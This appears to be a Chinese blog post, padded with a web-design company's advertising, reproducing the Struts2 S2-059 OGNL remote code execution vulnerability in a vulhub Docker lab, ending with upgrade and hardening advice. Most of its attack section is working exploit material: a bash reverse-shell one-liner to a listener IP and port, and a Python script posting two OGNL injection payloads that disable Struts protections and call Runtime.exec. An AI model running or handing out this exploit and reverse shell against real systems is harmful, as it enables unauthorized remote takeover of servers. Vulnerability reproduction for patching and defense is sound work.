今天就跟大家聊聊有关Struts2 S2-059 远程代码执行漏洞复现是怎么样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
公司主营业务:成都做网站、成都网站设计、移动网站开发等业务。帮助企业客户真正实现互联网宣传,提高企业的竞争能力。成都创新互联是一支青春激扬、勤奋敬业、活力青春激扬、勤奋敬业、活力澎湃、和谐高效的团队。公司秉承以“开放、自由、严谨、自律”为核心的企业文化,感谢他们对我们的高要求,感谢他们从不同领域给我们带来的挑战,让我们激情的团队有机会用头脑与智慧不断的给客户带来惊喜。成都创新互联推出五河免费做网站回馈大家。
Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
Struts 2.0.0 – Struts 2.5.20
1.本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:
https://github.com/vulhub/vulhub
cd vulhub-master/struts2/s2-059
2.使用docker-compose快速构建靶场环境
docker-compose up -d
3.启动完成后在浏览器访问http://ip:8080/?id=1 就可以看到测试界面
1.在浏览器访问http://ip:8080/?id=%25{88*88},可以发现执行的88*88成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。
2.使用poc来反弹shell,反弹shell的payload需要使用base64编码
bash -i >& /dev/tcp/172.16.1.132/9967 0>&1
base64编码网址:
http://www.jackson-t.ca/runtime-exec-payloads.html
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}" } res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2) |
3.修改poc中的payload为自己的payload,然后使用python运行,可以看到反弹了shell
1.升级到Struts 2.5.22或更高版本
2. 开启ONGL表达式注入保护措施。
https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable
看完上述内容,你们对Struts2 S2-059 远程代码执行漏洞复现是怎么样的有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。